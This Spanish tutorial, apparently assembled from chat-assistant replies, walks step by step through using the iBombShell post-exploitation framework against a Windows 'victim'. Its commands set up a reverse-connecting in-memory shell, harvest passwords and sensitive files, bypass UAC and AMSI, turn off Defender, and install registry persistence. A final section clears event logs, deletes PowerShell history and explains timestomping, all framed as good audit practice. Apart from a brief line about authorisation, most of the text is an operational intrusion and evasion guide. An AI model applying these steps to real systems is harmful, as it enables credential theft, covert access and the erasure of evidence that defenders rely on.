iBombShell: Pentesting y Post-Explotación
iBombShell: Pentesting y Post-Explotación
Hablemos de iBombShell. Es una herramienta sumamente interesante porque rompe un poco con el esquema tradicional de los frameworks de post-explotación.
En pocas palabras, iBombShell es una herramienta de pentesting dinámico desarrollada originalmente por el equipo de ElevenPaths (Telefónica). Su gran ventaja es que permite ejecutar "instancias" en memoria, lo que facilita moverte por un sistema una vez que has logrado entrar.
Aquí tienes los puntos clave para entenderla y usarla en Kali Linux:
1. ¿Qué hace especial a iBombShell?
A diferencia de otros frameworks que requieren instalar pesados agentes, iBombShell se basa en PowerShell.
Carga en memoria: Casi todo lo que hace se ejecuta directamente en la RAM, lo que ayuda a evadir la detección de algunos antivirus tradicionales.
Modo Silencioso: Permite ejecutar funciones específicas sin dejar rastro excesivo en el disco duro.
Everywhere: Aunque nació para Windows (por PowerShell), tiene una versión en Python que permite cierta versatilidad.
2. Instalación en Kali Linux
Como Kali está basado en Debian, el proceso es sencillo. Necesitarás Python 3 y clonar el repositorio oficial.
Clona el repositorio:
Bashgit clone https://github.com/ElevenPaths/ibombshell.gitEntra al directorio:
Bashcd ibombshellInstala las dependencias:
Bashpip3 install -r requirements.txtLanza la consola de control:
Bashpython3 ibombshell.py
3. Modos de funcionamiento
iBombShell se divide principalmente en dos componentes:
The Console: Es la interfaz que manejas desde tu Kali. Desde aquí controlas a las "víctimas" y preparas los ataques.
The Shell: Es el código que se ejecuta en la máquina objetivo. Puedes generar un "enlace" (one-liner) que, al ejecutarse en la víctima, conecta de vuelta a tu consola.
4. Flujo básico de uso
Preparar el Listener: En tu consola de iBombShell, configuras un puerto para escuchar conexiones.
Generar el Payload: Obtienes el comando de PowerShell que debe ejecutarse en el equipo remoto.
Ejecución: Una vez que la víctima ejecuta el comando, aparecerá una sesión activa en tu terminal de Kali.
Post-explotación: Puedes cargar módulos para extraer contraseñas, buscar archivos sensibles o realizar escaneos de red interna.
Nota de seguridad: Recuerda que iBombShell es una herramienta potente diseñada para profesionales de ciberseguridad. Úsala siempre en entornos controlados o bajo autorización explícita (Pentesting ético).
Vamos a montar un entorno de pruebas controlado. Para esto, lo ideal es que tengas tu máquina con Kali Linux (el atacante) y una máquina virtual con Windows 10/11 (la víctima) conectadas en la misma red local (modo NAT o Host-Only en VirtualBox/VMware).
Aquí tienes los pasos para realizar un "PoC" (Prueba de Concepto) básica:
Paso 1: Iniciar la Consola en Kali Linux
Primero, lanza iBombShell en tu terminal de Kali. Asegúrate de estar dentro de la carpeta del proyecto.
python3 ibombshell.py
Una vez dentro, verás el prompt de la herramienta.
Paso 2: Configurar el Listener (Consola)
Necesitamos que iBombShell se quede "escuchando" para recibir la conexión de la víctima. Para este ejemplo, usaremos el modo warrior.
Carga el modo:
Plaintextibombshell > load modules/interact/warrior.pyConfigura tu IP y puerto:
(Para saber tu IP en Kali, usa
ip aen otra terminal).Plaintextibombshell > set lhost [TU_IP_DE_KALI] ibombshell > set lport 4444Lanza el servicio:
Plaintextibombshell > run
Paso 3: Ejecutar el "One-Liner" en Windows (Víctima)
iBombShell te proporcionará un comando largo de PowerShell. Debes copiarlo y ejecutarlo en la máquina Windows.
En Windows, abre una terminal de PowerShell (no hace falta que sea Administrador para una prueba básica).
Pega el código que generó iBombShell y presiona Enter.
¿Qué está pasando? El comando descarga el script de iBombShell directamente en la memoria RAM de Windows y lo ejecuta sin escribir nada en el disco duro.
Paso 4: Tomar el control
Si todo ha ido bien, en tu terminal de Kali aparecerá un mensaje indicando que hay una nueva sesión activa.
Listar sesiones:
Plaintextibombshell > sessionsInteractuar con la sesión:
Plaintextibombshell > interact [ID_DE_SESIÓN]
Ahora ya estás "dentro". Puedes ejecutar comandos como get-computerinfo o usar los módulos de iBombShell para listar archivos o procesos.
Consideraciones importantes para tu prueba:
Windows Defender: Es muy probable que Windows Defender detecte la ejecución si las firmas están actualizadas. Para una prueba inicial de aprendizaje, desactiva temporalmente la "Protección en tiempo real" en la máquina Windows.
Red: Asegúrate de que ambas máquinas se vean (haz un
pingentre ellas). Si no hay respuesta, revisa los Firewalls.
Una vez que tienes la sesión activa (cuando el prompt cambia y te indica que estás interactuando con la máquina víctima), es donde empieza la verdadera magia de la post-explotación.
Aquí te detallo cómo usar tres de los módulos más útiles en un escenario de auditoría:
1. Recolección de Información (Information Gathering)
Antes de tocar nada, necesitas saber dónde estás parado. iBombShell tiene módulos para extraer datos sin ser muy ruidoso.
Comando:
search(para ver qué módulos hay disponibles).Uso: ```text
ibombshell > load modules/gathering/private/get_info.py
ibombshell > run
*Esto te devolverá detalles del sistema, parches instalados y usuarios, lo cual es vital para saber si el sistema es vulnerable a algo más.*
2. Búsqueda de Archivos Sensibles (File Search)
A menudo, los usuarios guardan contraseñas en archivos .txt o .docx. iBombShell puede automatizar esta búsqueda.
Módulo:
search_files.pyConfiguración:
Plaintextibombshell > load modules/gathering/private/search_files.py ibombshell > set extension .txt ibombshell > set path C:\Users\ ibombshell > runEsto es mucho más rápido que buscar manualmente carpeta por carpeta.
3. Extracción de Credenciales (El "Plato Fuerte")
Si has logrado elevar privilegios (o si el usuario tiene permisos suficientes), puedes intentar obtener credenciales. iBombShell puede integrar funciones similares a las de Mimikatz pero ejecutadas desde PowerShell.
Módulo sugerido:
get_passwords.pyPlaintextibombshell > load modules/post/private/get_passwords.py ibombshell > runNota: Este módulo suele ser el más vigilado por los antivirus (EDR/Defender), por lo que es el que más probabilidades tiene de ser bloqueado si no has evadido las defensas previamente.
Cómo moverte entre módulos
Para cambiar de una tarea a otra, recuerda estos comandos básicos dentro de la consola:
back: Para salir del módulo actual y volver al menú principal.help: Para ver qué parámetros (options) puedes configurar en cada módulo.sessions -k [ID]: Para cerrar una sesión si ya terminaste tu prueba.
Un pequeño "Tip" de experto:
Si notas que la conexión se corta, puede ser porque el proceso de PowerShell en Windows entró en suspensión o el Firewall cortó el flujo. Para evitar esto, intenta ejecutar comandos de forma espaciada.
Llegamos a la parte más crítica y emocionante de una auditoría: la Elevación de Privilegios.
Cuando entras en un sistema, generalmente lo haces con los permisos del usuario que ejecutó el comando (un usuario estándar). Para tomar el control total, necesitas convertirte en SYSTEM o Administrador.
En iBombShell, esto se gestiona a través de módulos que buscan fallos de configuración en Windows. Aquí te explico cómo proceder:
1. Comprobación de vulnerabilidades (UAC)
El User Account Control (UAC) es esa ventana que te pide permiso para ejecutar algo como administrador. Existen técnicas para "saltarse" este aviso si el usuario ya pertenece al grupo de administradores pero está corriendo en un nivel bajo.
Módulo:
bypassuac.pyPasos:
Plaintextibombshell > load modules/post/private/bypassuac.py ibombshell > set lhost [TU_IP_KALI] ibombshell > set lport [NUEVO_PUERTO] ibombshell > runQué hace: Intenta abrir una nueva sesión de iBombShell en la misma máquina, pero esta vez con privilegios elevados, sin que al usuario le aparezca el aviso de confirmación.
2. Bypass de AMSI (Antimalware Scan Interface)
Antes de intentar ataques pesados, es vital "cegar" un poco a Windows. AMSI es lo que permite a Windows Defender analizar scripts de PowerShell en tiempo real.
Módulo:
bypass_amsi.pyUso:
Plaintextibombshell > load modules/post/private/bypass_amsi.py ibombshell > runSi tiene éxito, tus siguientes comandos serán mucho menos propensos a ser bloqueados por el antivirus.
3. Persistencia (Quedarse dentro)
Si la máquina se reinicia, perderás tu conexión. La persistencia permite que iBombShell se ejecute automáticamente cada vez que la víctima inicie sesión.
Módulo:
persistence.pyPlaintextibombshell > load modules/post/private/persistence.py ibombshell > set method registry (Usa el registro de Windows para el inicio) ibombshell > run
Resumen del flujo de trabajo
Para que no te pierdas, el orden lógico en un entorno de pruebas suele ser:
Conexión Inicial (Acceso de usuario).
Bypass AMSI (Para evitar ser detectado al cargar más código).
Enumeración (Saber qué parches faltan).
Bypass UAC / Elevación (Conseguir ser Administrador).
Extracción de contraseñas (Ahora que tienes permisos totales).
| Objetivo | Módulo Sugerido |
| Identificar debilidades | modules/gathering/private/check_privileges.py |
| Saltar protección | modules/post/private/bypassuac.py |
| Extraer hashes | modules/post/private/get_passwords.py |
La "limpieza de huellas" o Anti-Forensics es la fase final de cualquier auditoría de seguridad. El objetivo es dejar el sistema tal como lo encontraste, evitando que los administradores o los sistemas de monitoreo (SIEM) detecten que hubo una intrusión.
En el mundo de iBombShell y Windows, los rastros suelen quedar en tres lugares: Logs de eventos, archivos temporales y el historial de comandos.
1. Limpieza de Event Logs (Visor de Eventos)
Windows registra casi todo: inicios de sesión, ejecución de procesos y errores. Si has elevado privilegios, puedes usar PowerShell para borrar estos registros.
Desde la sesión de iBombShell:
Puedes intentar ejecutar comandos directos de sistema para limpiar los logs principales (System, Security y Application):
PowerShellClear-EventLog -LogName Application, System, SecurityOjo: Borrar todos los logs es una "bandera roja" (red flag) muy obvia para un analista de seguridad. A veces es mejor no borrar nada que borrarlo todo de golpe.
2. Borrar el Historial de PowerShell
Windows guarda un historial de los comandos escritos en la consola de PowerShell en un archivo de texto. Si no lo borras, el administrador podrá ver exactamente qué comandos de iBombShell ejecutaste.
Ruta del archivo:
AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtComando para borrarlo desde tu sesión:
PowerShellRemove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
3. Eliminar la Persistencia
Si instalaste un mecanismo para que iBombShell se inicie con Windows (como vimos en el paso anterior), debes quitarlo antes de salir.
Si usaste el registro (
Registry), debes borrar la clave que creaste. Por ejemplo, si la creaste enRun:PowerShellRemove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "iBombShell"
El concepto de "Timestomping"
Los forenses digitales miran la "fecha de modificación" de los archivos. Si descargaste una herramienta o creaste un archivo a las 3:00 PM, esa marca de tiempo te delata. El Timestomping consiste en cambiar esas fechas para que coincidan con archivos antiguos del sistema.
Resumen de "Buenas Prácticas" en Auditoría:
| Rastro | Acción | Riesgo de Detección |
| Logs de Eventos | Clear-EventLog | Alto (deja un hueco en la línea de tiempo) |
| Historial PS | Borrar ConsoleHost_history.txt | Medio |
| Archivos Temporales | Borrar manual en %TEMP% | Bajo |
| Persistencia | Borrar llaves de Registro / Tareas | Crítico (si se olvida, la conexión sigue abierta) |
Consejo Final: En entornos profesionales, lo más limpio es usar herramientas que funcionen 100% en memoria (como hace iBombShell por defecto). Al cerrar el proceso de PowerShell y reiniciar la máquina, la mayor parte de la actividad desaparece de la RAM.